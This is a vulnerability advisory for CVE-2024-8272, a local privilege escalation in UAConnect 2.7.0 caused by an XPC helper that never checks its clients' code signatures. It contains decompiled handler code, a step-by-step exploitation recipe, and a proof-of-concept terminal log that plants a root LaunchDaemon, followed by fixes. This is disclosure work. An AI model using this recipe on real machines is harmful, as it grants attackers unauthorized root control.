Dec 11, 2024
CVE-2024-8272
Carlos Garrido of Pentraze Cybersecurity
The application UAConnect is affected by a local privilege escalation vulnerability, allowing an attacker to perform multiple operations as the root user due to the Helper Tool Service’s failure to verify the client’s code signature
The vulnerability described in the following report was tested on version 2.7.0.
7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
The UAConnect application is designed based on the “factored applications” model, which separates its functionality into distinct components. Among these, UAConnect utilizes a Helper Tool named com.uaudio.bsd.helper to perform tasks that require elevated privileges, such as arbitrary file writing, modifying file ownership and permissions, and installing packages. Communication with this Privileged Helper Tool is established through XPC.
It’s crucial for an XPC service to verify the code signature of any process attempting to establish a connection. There are two methods for performing this validation: the public processIdentifier and the private auditToken properties. However, relying on processIdentifier is insecure. Unfortunately, com.uaudio.bsd.helper is not verifying the code requirement, entitlements, or flags of the client attempting to establish an XPC connection.
When the com.uaudio.bsd.helper service receives a message via XPC, xpc_connection_set_event_handler sets the event handler block for the connection. Both the connection (xpc_connection_t) and the message (xpc_object_t) are passed to the sub_100001b80 function. However, sub_100001b80 does not validate the connection at any point; instead, it simply leverages xpc_dictionary_get_* to extract the value for the ‘command’ key and proceeds to execute a specific system-level command.
int64_t sub_100001b10(int64_t arg1, xpc_connection_t arg2)
_syslog$DARWIN_EXTSN(5, "Configuring message event handle…")
int64_t (* const var_38)() = __NSConcreteStackBlock
int64_t var_30 = 0x40000000
xpc_type_t (* var_28)(int64_t arg1, xpc_object_t arg2) = sub_100001b80
void* const var_20 = &data_100004238
xpc_connection_t var_18 = arg2
_xpc_connection_set_event_handler(arg2, &var_38)
return _xpc_connection_resume(arg2)
xpc_type_t sub_100001b80(int64_t arg1, xpc_object_t arg2)
_syslog$DARWIN_EXTSN(5, "Received event in helper.")
xpc_type_t result = _xpc_get_type(arg2)
if (result == __xpc_type_error)
return result
xpc_connection_t r14_1 = _xpc_dictionary_get_remote_connection(arg2)
xpc_object_t xdict_1 = _xpc_dictionary_create_reply(arg2)
char* __s1 = _xpc_dictionary_get_string(arg2, key: "command")
.
.
<SNIP>
.
.
The following commands are allowed by the XPC service and can be exploited by a malicious actor to perform privileged operations on the system as the root user:
if (_strcmp(__s1, __s2: "chmod") == 0)
value_1 = sub_100002410(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: "mode"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
else if (_strcmp(__s1, __s2: "chown") == 0)
value_1 = sub_100002530(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: &data_100003927), _xpc_dictionary_get_uint64(arg2, key: &data_10000392b), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
else if (_strcmp(__s1, __s2: "setxattr") == 0)
value_1 = sub_100002650(_xpc_dictionary_get_string(arg2, key: "path"), _xpc_dictionary_get_string(arg2, key: "name"), _xpc_dictionary_get_string(arg2, key: "value"), _xpc_dictionary_get_uint64(arg2, key: "size"), _xpc_dictionary_get_uint64(arg2, key: "position"), _xpc_dictionary_get_int64(xdict: arg2, key: "options"))
else if (_strcmp(__s1, __s2: "removexattr") == 0)
value_1 = sub_100002670(_xpc_dictionary_get_string(arg2, key: "path"), _xpc_dictionary_get_string(arg2, key: "name"), _xpc_dictionary_get_int64(xdict: arg2, key: "options"))
else if (_strcmp(__s1, __s2: "touch") == 0)
value_1 = sub_1000026f0(_xpc_dictionary_get_string(arg2, key: "file"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
else if (_strcmp(__s1, __s2: "remove") == 0)
value_1 = sub_100002810(_xpc_dictionary_get_string(arg2, key: "file"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
else if (_strcmp(__s1, __s2: "mkdir") == 0)
value_1 = sub_100002910(_xpc_dictionary_get_string(arg2, key: "file"), _xpc_dictionary_get_uint64(arg2, key: "mode"), zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive")))
else if (_strcmp(__s1, __s2: "symlink") == 0)
value_1 = sub_100002a20(_xpc_dictionary_get_string(arg2, key: "target"), _xpc_dictionary_get_string(arg2, key: "file"))
else if (_strcmp(__s1, __s2: "move") == 0)
value_1 = sub_100002a40(_xpc_dictionary_get_string(arg2, key: "source"), _xpc_dictionary_get_string(arg2, key: "dest"))
else if (_strcmp(__s1, __s2: "swap") == 0)
value_1 = sub_100002a60(_xpc_dictionary_get_string(arg2, key: "source"), _xpc_dictionary_get_string(arg2, key: "dest"))
else
xpc_connection_t var_48
if (_strcmp(__s1, __s2: "copy") == 0)
int64_t rax_44 = _xpc_dictionary_get_int64(xdict: arg2, key: "refnum")
char* rax_45 = _xpc_dictionary_get_string(arg2, key: "source")
char* rax_46 = _xpc_dictionary_get_string(arg2, key: "dest")
uint32_t r8_2 = zx.d(_xpc_dictionary_get_bool(arg2, key: "recursive"))
var_48 = r14_1
int64_t var_40_1 = rax_44
value_1 = sub_100002f90(rax_45, rax_46, sub_100002120, &var_48, r8_2)
else if (_strcmp(__s1, __s2: "install") == 0)
int64_t rax_49 = _xpc_dictionary_get_int64(xdict: arg2, key: "refnum")
char* rax_50 = _xpc_dictionary_get_string(arg2, key: "pkg_path")
char* rax_51 = _xpc_dictionary_get_string(arg2, key: "vol_path")
var_48 = r14_1
int64_t var_40_2 = rax_49
value_1 = sub_1000032c0(rax_50, rax_51, sub_100002120, &var_48)
else
_xpc_dictionary_set_string(xdict_1, key: "message", string: "Unknown command")
value_1 = -1
.
.
<SNIP>
.
.
The exploitation can be summarized in these steps:
Create a PLIST file that will store the payload to be executed as the root user.
The client establishes an XPC connection via xpc_connection_create_mach_service to the service com.uaudio.bsd.helper with the XPC_CONNECTION_MACH_SERVICE_PRIVILEGED flag.
A message is sent to change the owner and group of the PLIST file to root.
The PLIST file is moved to /Library/LaunchDaemons.
Upon restarting the machine, launchd will process the new PLIST file, thereby executing the payload in the root user context.
garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/pwned.txt
ls: /Library/pwned.txt: No such file or directory
garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/LaunchDaemons/com.privesc.Load.plist
ls: /Library/LaunchDaemons/com.privesc.Load.plist: No such file or directory
garrido@Garridos-MacBook-Air UAConnect % whoami
garrido
garrido@Garridos-MacBook-Air UAConnect % ./UAConnect_Privesc
[+) UAConnect Privilege Escalation
[+] Writing custom PLIST to /private/tmp/com.privesc.Load.plist
[+] Resuming remote connection
[+] Debug Event Message [version]: <dictionary: 0x600001208000> { count = 2, transaction: 0, voucher = 0x0, contents =
"message" => <string: 0x6000023082d0> { length = 5, contents = "2.7.0" }
"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [version]: 2.7.0
[+] Debug Event Message [chown]: <dictionary: 0x60000120c0f0> { count = 1, transaction: 0, voucher = 0x0, contents =
"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [chown]: 0
[+] Debug Event Message [move]: <dictionary: 0x600001208000> { count = 1, transaction: 0, voucher = 0x0, contents =
"code" => <int64: 0x105111b9c3b06d17>: 0
}
[+] Command [move]: 0
[+] Done!%
garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/LaunchDaemons/com.privesc.Load.plist
-rw-r--r-- 1 root wheel 411 Aug 29 07:11 /Library/LaunchDaemons/com.privesc.Load.plist
garrido@Garridos-MacBook-Air UAConnect % cat /Library/LaunchDaemons/com.privesc.Load.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.privesc.Load</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>touch /Library/pwned.txt</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
garrido@Garridos-MacBook-Air UAConnect % ls -l /Library/pwned.txt
-rw-r--r-- 1 root wheel 0 Aug 29 07:15 /Library/pwned.txt
Terminate the connection upon receiving an unrecognized message.
Perform authorization checks before accepting a connection whenever possible.
If authorization checks are not feasible at that stage, use xpc_dictionary_get_audit_token.
Alternatively, save the audit token during the accept handler for later use (this method is also effective for NSXPCConnection).
Leverage new APIs for automatic code signing verification before accepting a connection:
[NSXPCConnection setCodeSigningRequirement:] (available since macOS 13.0)
xpc_connection_set_peer_code_signing_requirement (available since macOS 12.0)